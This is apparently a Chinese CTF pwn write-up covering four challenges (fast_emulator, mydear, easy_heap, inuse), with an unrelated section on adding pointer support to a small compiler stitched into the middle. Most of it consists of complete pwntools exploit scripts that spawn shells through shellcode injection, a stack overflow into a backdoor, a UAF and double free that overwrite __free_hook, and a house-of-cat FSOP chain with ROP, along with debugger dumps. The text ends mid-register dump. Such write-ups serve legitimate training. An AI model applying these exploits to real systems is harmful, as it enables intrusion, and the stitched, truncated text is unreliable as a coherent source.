memset(hex, 0, sizeof(hex));
if ( key2 && buf[0x47] == 'x' )
{
true_size = from_hex(buf + 0x46, (__int64)hex);
size = 4;
if ( true_size >= 4 )
size = true_size;
memcpy(shellcode + 3, hex, size);
return (unsigned int)(size + 3);
}
  • from_hex 限制的长度远超 mov 指令所需要的长度
1
2
3
4
5
6
7
sla("enter: ",str(0x64))
cmd("add r1 r4")

cmd("load r3 0xffffffffffffffffffffffffff")

for i in range(0x62):
cmd("load r3 0x50")
1
2
3
4
0x563401dc56b5 <write_code+453>    call   memcpy@plt                <memcpy@plt>
dest: 0x7f0c61bcf006 ◂— 0x0
src: 0x7fffd87d0f00 ◂— 0xffffffffffffffff
n: 0xd
1
2
0x7f0c61bcf000    add    rax, rbx
0x7f0c61bcf003 mov rdx, 0xffffffffffffffff
1
2
3
4
pwndbg> telescope 0x7f0c61bcf000
00:0000│ rdi r13 rip 0x7f0c61bcf000 ◂— add rax, rbx
01:00080x7f0c61bcf008 ◂— 0xffffffffffffffff
02:00100x7f0c61bcf010 ◂— 0x50c2c748ffffff
  • 溢出的部分没法被 mov 识别,而是作为二进制代码加入程序的执行

入侵思路

可以任意执行 shellcode,不过程序的溢出有限需要分段进行

最后还有一个问题就是如何写入 “/bin/sh”,仔细观察寄存器的值可以发现方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
 RAX  0xffffffff90909090
RBX 0x7f858a8c52c3 ◂— ret
RCX 0x7f858a7a19ab (mprotect+11) ◂— cmp rax, -0xfff
RDX 0x5
*RDI 0x7fff597c7cd0 ◂— 'load r3 0x50\n'
RSI 0x1000
R8 0x7
R9 0x1
R10 0x562dd4eee5d6 ◂— 'mprotect'
R11 0x206
R12 0x7fff597c7c60 ◂— 0x64616f6c /* 'load' */
R13 0x7f858a8c5000 ◂— mov rax, 0xffffffff90909090
R14 0x562dd4ef0020 ◂— 0x6c7573657200203e /* '> ' */
R15 0x64
RBP 0x7fff597c7cd0 ◂— 'load r3 0x50\n'
*RSP 0x7fff597c7c48 —▸ 0x562dd4eefa20 (exec_input+352) ◂— lea rdi, [rip + 0x5fc]
*RIP 0x7f858a8c5009 ◂— mov rax, 0x3b
  • 经过调试发现:RBP 寄存器中存放的数据为最后一次写入的指令
  • 我们可以写入一个 push rbp + pop rdi 的组合获取 “/bin/sh”

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './fast_emulator'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

local = 1
if local:
p = process(challenge)
else:
p = remote('119.13.105.35','10111')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x1A1D)\n")
pause()

def cmd(str):
sla("> ",str)

#debug()

sla("enter: ",str(0x64))

cmd("load r1 0x5f5590909090") # push rbp; pop rdi;
cmd("load r1 0x3b")
cmd("load r2 0x5a006a90909090") # push 0; pop rsi;
cmd("load r2 0x5e006a90909090") # push 0; pop rsi;
cmd("load r2 0x050f9090909090") # syscall;

for i in range(0x64-5-1):
cmd("load r3 0x50")

cmd("/bin/sh\x00")

p.interactive()

基础信息

本代码是在以下项目的基础上进行完善:

上一个版本已经实现了结构体,此版本主要实现指针

语法分析

1
2
3
4
5
VarDec: ID      {$$=mknode(ID,NULL,NULL,NULL,yylineno);strcpy($$->type_id,$1);}  
| STAR ID {$$=mknode(IDS,NULL,NULL,NULL,yylineno);strcpy($$->type_id,$2);}
| ADDR ID {$$=mknode(IDA,NULL,NULL,NULL,yylineno);strcpy($$->type_id,$2);}
| VarDec ArrayList {$$=mknode(ARRAY_DEC,$1,$2,NULL,yylineno);}
;
  • 把指针 IDP 当成 ID 处理即可
1
2
| STAR ID	{$$=mknode(EXP_IDS,$2,NULL,NULL,yylineno);strcpy($$->type_id,$2);}
| ADDR ID {$$=mknode(EXP_IDA,$2,NULL,NULL,yylineno);strcpy($$->type_id,$2);}
  • 在 Exp 中添加对应的规则(用于识别 &a*a
  • PS:这里使用的是 ID,这就意味着结构体中的指针没法被识别(暂时不做修改)

语义分析

指针声明(全局)

1
2
3
4
5
6
7
8
9
case IDS:
rtn = fillSymbolTable(T->type_id, newAlias(), LEV, T->type, 'p', T->offset);
if (rtn == -1)
semantic_error(T->pos, T->type_id, "变量重复定义,语义错误");
else
T->place = rtn;
T->num = 1;
symbolTable.symbols[T->place].paramnum = 1;
break;
  • 和 ID 类似的处理方式

指针声明(局部)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
if (T0->ptr[0]->kind == ID || T0->ptr[0]->kind == IDS){
if(T0->ptr[0]->kind == ID){
rtn = fillSymbolTable(T0->ptr[0]->type_id, newAlias(), LEV, T0->ptr[0]->type, 'v', 0);
}
else if(T0->ptr[0]->kind == IDS){
rtn = fillSymbolTable(T0->ptr[0]->type_id, newAlias(), LEV, T0->ptr[0]->type, 'p', 0);
width = 8;
}

if (rtn == -1)
semantic_error(T0->ptr[0]->pos, T0->ptr[0]->type_id, "变量重复定义");
else
T0->ptr[0]->place = rtn;

symbolTable.symbols[rtn].paramnum = 1;
strcpy(symbolTable.symbols[rtn].stname,T0->struct_name);

T->width += width;
symbolTable.symbols[rtn].offset = width;

if(use_struct){
result.kind = ID;
if(T0->ptr[0]->kind == ID){
sprintf(result.id,"%s(%s)",symbolTable.symbols[rtn].alias, T->ptr[0]->ptr[0]->struct_name);
}
else if(T0->ptr[0]->kind == IDS){
sprintf(result.id,"%s(*%s)",symbolTable.symbols[rtn].alias, T->ptr[0]->ptr[0]->struct_name);
}

result.offset = T->offset;
T->code = merge(2, T->code, genIR(STRUCT, opn1, opn2, result));
}
else if(T0->ptr[0]->kind == IDS){
result.kind = IDS;
sprintf(result.id,"%s(*%s)",symbolTable.symbols[rtn].alias, check_type(symbolTable.symbols[rtn].type,&type));
result.offset = T->offset;
T->code = merge(2, T->code, genIR(IDS, opn1, opn2, result));
}
}
  • 和 ID 一起处理,但遇到结构体指针时需要特殊处理

指针的使用

上一个版本的赋值语句处理很乱,此版本进行了统一编排,使程序看上去更简洁了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
void array_exp_left(struct node *T,struct opn *result){
struct node *T0;
int sum=-1;

if(array_exp(T,&T0,&sum,0)){
(*result).kind = ID;
sprintf((*result).id,"%s(%s[%d])<+%d>",symbolTable.symbols[T0->ptr[0]->place].alias,
symbolTable.symbols[T0->ptr[1]->place].name,sum,
symbolTable.symbols[T0->ptr[1]->place].offset+sum*get_typelen(symbolTable.symbols[T0->ptr[1]->place].type));
}
else{
(*result).kind = ID;
sprintf((*result).id,"%s[%d]",symbolTable.symbols[T0->place].alias,sum);
(*result).offset = symbolTable.symbols[T0->place].offset;
}
}

void array_exp_right(struct node *T,struct opn *opn1){
struct node *T0;
int sum=-1;

if(array_exp(T,&T0,&sum,1)){
(*opn1).kind = ID;
sprintf((*opn1).id,"%s(%s[%d])<+%d>",symbolTable.symbols[T0->ptr[0]->place].alias,symbolTable.symbols[T0->ptr[1]->place].name,
sum,symbolTable.symbols[T0->ptr[1]->place].offset+sum*get_typelen(symbolTable.symbols[T0->ptr[1]->place].type));
}
else{
(*opn1).kind = ID;
sprintf((*opn1).id,"%s[%d]",symbolTable.symbols[T0->place].alias,sum);
}
}

void struct_exp_left(struct node *T,struct opn *result){
Exp(T->ptr[0]);
Exp(T->ptr[1]);

(*result).kind = ID;
sprintf((*result).id,"%s(%s)<+%d>",symbolTable.symbols[T->ptr[0]->ptr[0]->place].alias,
symbolTable.symbols[T->ptr[0]->ptr[1]->place].name,symbolTable.symbols[T->ptr[0]->ptr[1]->place].offset);
(*result).offset = symbolTable.symbols[T->ptr[0]->ptr[0]->place].offset;
}

void struct_exp_right(struct node *T,struct opn *opn1){
Exp(T->ptr[1]);
Exp(T->ptr[0]);

(*opn1).kind = ID;
sprintf((*opn1).id,"%s(%s)<+%d>",symbolTable.symbols[T->ptr[1]->ptr[0]->place].alias,
symbolTable.symbols[T->ptr[1]->ptr[1]->place].name,symbolTable.symbols[T->ptr[1]->ptr[1]->place].offset);
(*opn1).offset = symbolTable.symbols[T->ptr[1]->ptr[0]->place].offset;
}

void id_exp_left(struct node *T,struct opn *result){
Exp(T->ptr[0]);
(*result).kind = ID;
strcpy((*result).id, symbolTable.symbols[T->ptr[0]->place].alias);
(*result).offset = symbolTable.symbols[T->ptr[0]->place].offset;
}

void id_exp_right(struct node *T,struct opn *opn1){
Exp(T->ptr[1]);
(*opn1).kind = ID;
strcpy((*opn1).id, symbolTable.symbols[T->ptr[1]->place].alias);
(*opn1).offset = symbolTable.symbols[T->ptr[1]->place].offset;
}

void ids_exp_left(struct node *T,struct opn *result){
Exp(T->ptr[0]);
if(symbolTable.symbols[T->ptr[0]->place].flag != 'p' || symbolTable.symbols[T->ptr[0]->place].flag != 'P'){
semantic_error(T->pos, symbolTable.symbols[T->ptr[1]->place].name, "不是指针");
}
(*result).kind = ID;
sprintf((*result).id, "*(%s)",symbolTable.symbols[T->ptr[0]->place].alias);
(*result).offset = symbolTable.symbols[T->ptr[0]->place].offset;
}

void ids_exp_right(struct node *T,struct opn *opn1){
Exp(T->ptr[1]);
if(symbolTable.symbols[T->ptr[1]->place].flag != 'p' || symbolTable.symbols[T->ptr[1]->place].flag != 'P'){
semantic_error(T->pos, symbolTable.symbols[T->ptr[1]->place].name, "不是指针");
}
(*opn1).kind = ID;
sprintf((*opn1).id,"*(%s)",symbolTable.symbols[T->ptr[1]->place].alias);
(*opn1).offset = symbolTable.symbols[T->ptr[1]->place].offset;
}

void ida_exp_right(struct node *T,struct opn *opn1){
Exp(T->ptr[1]);
(*opn1).kind = ID;
sprintf((*opn1).id,"&(%s)",symbolTable.symbols[T->ptr[1]->place].alias);
(*opn1).offset = symbolTable.symbols[T->ptr[1]->place].offset;
}

void assignop_exp_left(struct node *T,struct opn *result){
if(T->ptr[0]->kind == EXP_ARRAY){
array_exp_left(T,result);
}
else if(T->ptr[0]->kind == EXP_ELE){
struct_exp_left(T,result);
}
else if (T->ptr[0]->kind == ID){
id_exp_left(T,result);
}
else if(T->ptr[0]->kind == EXP_IDS){
ids_exp_left(T,result);
}
else{
semantic_error(T->pos, "", "赋值语句左值错误");
}
}

void assignop_exp_right(struct node *T,struct opn *opn1){
if(T->ptr[1]->kind == EXP_ARRAY){
array_exp_right(T,opn1);
}
else if(T->ptr[1]->kind == EXP_ELE){
struct_exp_right(T,opn1);
}
else if(T->ptr[1]->kind == ID){
id_exp_right(T,opn1);
}
else if(T->ptr[1]->kind == INT){
Exp(T->ptr[1]);
T->code = T->ptr[1]->code;
}
else if(T->ptr[1]->kind == EXP_IDA){
ida_exp_right(T,opn1);
}
else if(T->ptr[1]->kind == EXP_IDS){
ids_exp_right(T,opn1);
}
else{
semantic_error(T->pos, "", "赋值语句右值错误");
}
}

void assignop_exp(struct node *T)
{
struct opn opn1, opn2, result;

assignop_exp_left(T,&result);
assignop_exp_right(T,&opn1);

T->code = merge(2, T->code, genIR(ASSIGNOP, opn1, opn2, result));
}
  • 先处理等号左边,后处理等号右边

另外还改了一些 BUG

生成 IR 中间语言

这里只针对于指针做出了小幅修改:

1
2
3
4
case IDS:
sprintf(msg," POINTER %s\n", h->result.id);
print_io(msg,fd);
break;

mydear

1
2
3
4
5
6
7
mydear: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=82718c0b9f830007c1abfa77aae3858dd215e8ef, not stripped
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
  • 64位,dynamically,全关

漏洞分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+Ch] [rbp-44h] BYREF
char buf[50]; // [rsp+10h] [rbp-40h] BYREF
char s[10]; // [rsp+42h] [rbp-Eh] BYREF
int Time; // [rsp+4Ch] [rbp-4h]

init(argc, argv, envp);
puts("this is a easy stack overflow!");
puts("Let's have fun!");
puts("please tell me,what is your name?");
fgets(s, 8, stdin);
printf("hello my dear,%s \n", s);
puts("can you tell me this is the second?");
__isoc99_scanf("%d", &v4);
Time = getTime();
if ( Time != v4 )
{
puts("Sorry! You are not my dear!");
puts("I'm so sad!");
exit(0);
}
puts("Is there something you want to tell me?");
getchar();
read(0, buf, 0x64uLL);
puts("hhhhh");
return 0;
}
  • 栈溢出
1
2
3
4
5
int win()
{
printf("You're going to get flags");
return system("/bin/sh");
}
  • 有后门

入侵思路

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
import time

#context(log_level='debug')
p =process("./mydear")
#p = remote("123.127.164.29",21899)

gdb.attach(p,"b*0x400A47")
pause()

p.recvuntil("name?")
p.send(b'xxxxxxx')
p.recvuntil("second?")
t = time.time()
second=(int(t)%60)
# second=(int(t+2)%60)

p.sendline(str(second))
p.recvuntil(b"me?")
target_addr=0x400898
payload=b'a'*0x48+p64(target_addr)
p.send(payload)

p.interactive()

easy_heap

1
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.6) stable release version 2.27
1
2
3
4
5
6
easy_heap: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=cd9a9a43d1011968219ce1d0acd1aa14deeaf80f, not stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开

漏洞分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
unsigned __int64 delete()
{
int index; // [rsp+4h] [rbp-Ch]
unsigned __int64 canary; // [rsp+8h] [rbp-8h]

canary = __readfsqword(0x28u);
puts("index: ");
index = get_num();
if ( index )
{
if ( index > 32 )
puts("error");
else
free((void *)pindex[index]);
}
return __readfsqword(0x28u) ^ canary;
}
  • UAF

入侵思路

利用 UAF 完成泄露:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
add(0x410,1,'a'*0x50)
add(0x410,2,'a'*0x50)
add(0x410,3,'a'*0x50)
add(0x450,4,'a'*0x50)

dele(1)
dele(3)

show(1)
p.recvuntil("content :\n")
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
libc_base = leak_addr - 0x3ebca0
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

show(3)
p.recvuntil("content :\n")
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
heap_base = leak_addr - 0x250
success("leak_addr >> "+hex(leak_addr))
success("heap_base >> "+hex(heap_base))

然后填满 tcache,打 fastbin double free 即可

完整 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './easy_heap'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc.so.6')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

local = 1
if local:
p = process(challenge)
else:
p = remote('119.13.105.35','10111')

def debug():
gdb.attach(p)
#gdb.attach(p,"b *$rebase(0x269F)\n")
#pause()

def cmd(op):
sla(": ",str(op))

def add(size,index,data):
cmd(1)
sla("size :",str(size))
sla("index :",str(index))
sla("content:",data)

def show(index):
cmd(2)
sla("index:",str(index))

def dele(index):
cmd(3)
sla("index:",str(index))

#debug()

add(0x410,1,'a'*0x50)
add(0x410,2,'a'*0x50)
add(0x410,3,'a'*0x50)
add(0x450,4,'a'*0x50)

dele(1)
dele(3)

show(1)
p.recvuntil("content :\n")
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
libc_base = leak_addr - 0x3ebca0
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

show(3)
p.recvuntil("content :\n")
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
heap_base = leak_addr - 0x250
success("leak_addr >> "+hex(leak_addr))
success("heap_base >> "+hex(heap_base))

free_hook = libc_base + libc.sym["__free_hook"]
one_gadgets = [0x4f2a5,0x4f302,0x10a2fc]
one_gadget = libc_base + one_gadgets[1]
success("free_hook >> "+hex(free_hook))

for i in range(10):
add(0x70,i+5,'a'*0x50)

for i in range(8):
dele(i+5)

dele(13)
dele(12)

for i in range(7):
add(0x70,i+15,'a'*0x50)

add(0x70,22,p64(free_hook))
add(0x70,23,"/bin/sh\x00")
add(0x70,24,"/bin/sh\x00")
add(0x70,25,p64(one_gadget))

dele(23)

p.interactive()

inuse

1
2
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.2) stable release version 2.31

1
2
3
4
5
6
inuse: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /home/yhellow/Tools/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/ld-2.31.so, for GNU/Linux 3.2.0, BuildID[sha1]=f2e3e36e0bf161ac1c1b5c561aa2518134caa471, not stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开

漏洞分析

1
2
3
4
5
6
7
8
9
10
11
12
unsigned __int64 dele()
{
int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("id:");
v1 = info();
if ( v1 <= 31 && pindex[v1] )
free((void *)pindex[v1]);
return __readfsqword(0x28u) ^ v2;
}
  • UAF

libc 版本下载

本题目的 GLIBC 不常规,需要先下载其 debug 包:

在上面的网站中找到对应的版本:

选择 Builds 中对应的架构:

选择 dbg 文件,并进行下载:

  • PS:最好不要在 win 中解压

解压后会出现1个文件夹,其中 /usr/lib/debug 就是我们需要的

1
data.tar  usr

目录 debug 的结构如下:(这些动态链接库都是带有符号的)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
➜  debug tree 
.
├── lib
│   ├── libc6-prof
│   │   └── x86_64-linux-gnu
│   │   ├── ld-2.31.so
│   │   ├── libanl-2.31.so
│   │   ├── libBrokenLocale-2.31.so
│   │   ├── libc-2.31.so
│   │   ├── libdl-2.31.so
│   │   ├── libm-2.31.so
│   │   ├── libmemusage.so
│   │   ├── libmvec-2.31.so
│   │   ├── libnsl-2.31.so
│   │   ├── libnss_compat-2.31.so
│   │   ├── libnss_dns-2.31.so
│   │   ├── libnss_files-2.31.so
│   │   ├── libnss_hesiod-2.31.so
│   │   ├── libnss_nis-2.31.so
│   │   ├── libnss_nisplus-2.31.so
│   │   ├── libpcprofile.so
│   │   ├── libresolv-2.31.so
│   │   ├── librt-2.31.so
│   │   ├── libSegFault.so
│   │   ├── libthread_db-1.0.so
│   │   └── libutil-2.31.so
│   └── x86_64-linux-gnu
│   ├── ld-2.31.so
│   ├── libanl-2.31.so
│   ├── libBrokenLocale-2.31.so
│   ├── libc-2.31.so
│   ├── libdl-2.31.so
│   ├── libm-2.31.so
│   ├── libmemusage.so
│   ├── libmvec-2.31.so
│   ├── libnsl-2.31.so
│   ├── libnss_compat-2.31.so
│   ├── libnss_dns-2.31.so
│   ├── libnss_files-2.31.so
│   ├── libnss_hesiod-2.31.so
│   ├── libnss_nis-2.31.so
│   ├── libnss_nisplus-2.31.so
│   ├── libpcprofile.so
│   ├── libresolv-2.31.so
│   ├── librt-2.31.so
│   ├── libSegFault.so
│   ├── libthread_db-1.0.so
│   └── libutil-2.31.so
└── usr
......

于是我们直接把 x86_64-linux-gnu 改名为 .debug,并且在 GDB 命令中指定它为 debug-file-directory

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# -*- encoding: utf-8 -*-
from pwn import *

arch = 64
challenge = './inuse1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc-2.31.so')

cmd = "set debug-file-directory ./.debug/\n"

local = 1
if local:
#p = process(challenge)
p = gdb.debug(challenge, cmd)
else:
p = remote('123.127.164.29','21869')

入侵思路

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
unsigned __int64 edit()
{
unsigned int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("id:");
v1 = info();
if ( v1 <= 0x1F )
{
if ( pindex[v1] )
{
read(0, (void *)pindex[v1], (int)psize[v1]);
if ( *(_QWORD *)freehk || *(_QWORD *)mallochk )
{
*(_QWORD *)freehk = 0LL;
*(_QWORD *)mallochk = 0LL;
}
}
}
return __readfsqword(0x28u) ^ v2;
}
  • 本题目在 “修改模块” 之后会自动清空 free_hook 和 malloc_hook
  • 因此可以把此题目当成是高版本 Libc 的堆利用

在高版本 Libc 的利用中,最常见的方法就是打 IO,因此我首先尝试 house of cat:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
# -*- encoding: utf-8 -*-
from pwn import *

arch = 64
challenge = './inuse1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

cmd = "set debug-file-directory ./.debug/\n"

local = 1
if local:
p = process(challenge)
#p = gdb.debug(challenge, cmd)
else:
p = remote('123.127.164.29','21869')

def debug():
gdb.attach(p,"b __vfprintf_internal")
pause()

def cmd(num):
p.sendlineafter('5.exit',str(num))

def add(size):
cmd(1)
p.sendlineafter('size:' , str(size))

def edit(idx,text):
cmd(4)
p.sendlineafter('id:' , str(idx))
p.send(text)

def show(idx):
cmd(2)
p.sendlineafter('id:' , str(idx))

def free(idx):
cmd(3)
p.sendlineafter('id:' , str(idx))

debug()

add(0x420)#0
add(0x430)#1
add(0x410)#2
free(0)
add(0x440)#3

show(0)
p.recvuntil('\n')
leak_addr = u64(p.recv(6).ljust(8,'\x00'))
libc_base = leak_addr - 0x1ebfd0
success('leak_addr >> '+hex(leak_addr))
success('libc_base >> '+hex(libc_base))

p.recv(10)
leak_addr = u64(p.recv(6).ljust(8,'\x00'))
heap_base = leak_addr - 0x290
success('leak_addr >> '+hex(leak_addr))
success('heap_base >> '+hex(heap_base))

pop_rax_ret = libc_base+0x000000000004a550
pop_rdi_ret = libc_base+0x0000000000026b72
pop_rsi_ret = libc_base+0x0000000000027529
pop_rdx_pop_r12_ret = libc_base+0x000000000011c371
ret = libc_base+0x0000000000025679
syscall_ret = libc_base+libc.search(asm('syscall\nret')).next()
stderr = libc_base+libc.sym['stderr']
IO_list_all = libc_base+0x1ec5a0
success('stderr >> '+hex(stderr))
success('IO_list_all >> '+hex(IO_list_all))

setcontext = libc_base+libc.sym['setcontext']
close = libc_base+libc.sym['close']
read = libc_base+libc.sym['read']
write = libc_base+libc.sym['write']

next_chain = 0
fake_IO_FILE = p64(0)*4
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0xffff) # rax1
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(heap_base+0xc18-0x68) #rdx
fake_IO_FILE += p64(setcontext+61) #call addr
fake_IO_FILE = fake_IO_FILE.ljust(0x58, '\x00')
fake_IO_FILE += p64(0) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x78, '\x00')
fake_IO_FILE += p64(heap_base+0x200) # _lock = writable address
fake_IO_FILE = fake_IO_FILE.ljust(0x90, '\x00')
fake_IO_FILE += p64(heap_base+0xb30) #rax1
fake_IO_FILE = fake_IO_FILE.ljust(0xB0, '\x00')
fake_IO_FILE += p64(0) # _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xC8, '\x00')
fake_IO_FILE += p64(libc_base+0x2160d0) # vtable=IO_wfile_jumps+0x10
fake_IO_FILE += p64(0)*6
fake_IO_FILE += p64(heap_base+0xb30+0x10) # rax2

flag_addr = heap_base+0x17d0
payload1 = fake_IO_FILE + p64(flag_addr)+p64(0)+p64(0)*5+p64(heap_base+0x2050)+p64(ret)
free(2)
add(0x410)#4
edit(4,payload1)
free(4)

edit(0,p64(libc_base+0x1ebfd0)*2+p64(heap_base+0x290)+p64(IO_list_all-0x20))

add(0x440)#5
add(0x430)#6
edit(6,"/bin/sh\x00")
add(0x430)#7

rop_data = [
pop_rax_ret,
59,
pop_rdi_ret,
flag_addr,
syscall_ret,
]

add(0x430)#8
edit(8,flat(rop_data))
free(5)
add(0x450)#9
edit(9,p64(0)+p64(1))
free(7)

edit(5,p64(libc_base+0x1ebfe0)*2+p64(heap_base+0x1370)+p64(heap_base+0x28e0-0x20+3))
add(0x450)

p.interactive()

不过这个题目没法打 IO,先看下调试信息:

1
2
3
4
pwndbg> telescope 0x7f4db40c8780
00:00000x7f4db40c8780 (stderr+4157368096) —▸ 0x7f4db40c85c0 (_IO_2_1_stderr_) ◂— 0xfbad2087
01:00080x7f4db40c8788 (stdout+4157368136) —▸ 0x7f4db40c86a0 (_IO_2_1_stdout_) ◂— 0xfbad2887
02:00100x7f4db40c8790 (stdin+4157368128) —▸ 0x7f4db40c7980 (_IO_2_1_stdin_) ◂— 0xfbad208b
  • 这个保护以前见过一次,程序将不会使用 libc 中的 _IO_FILE 结构体,而是使用保存在 elf 程序中的 _IO_FILE 结构体备份
1
2
pwndbg> p _IO_list_all
$1 = (struct _IO_FILE_plus *) 0x55b3bdd05b00
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
─────────────────────────────────[ REGISTERS ]──────────────────────────────────
*RAX 0x0
*RBX 0x7f4db40c85c0 (_IO_2_1_stderr_) ◂— 0xfbad2087
*RCX 0x0
*RDX 0x7ffc474e0530 ◂— 0x3000000010
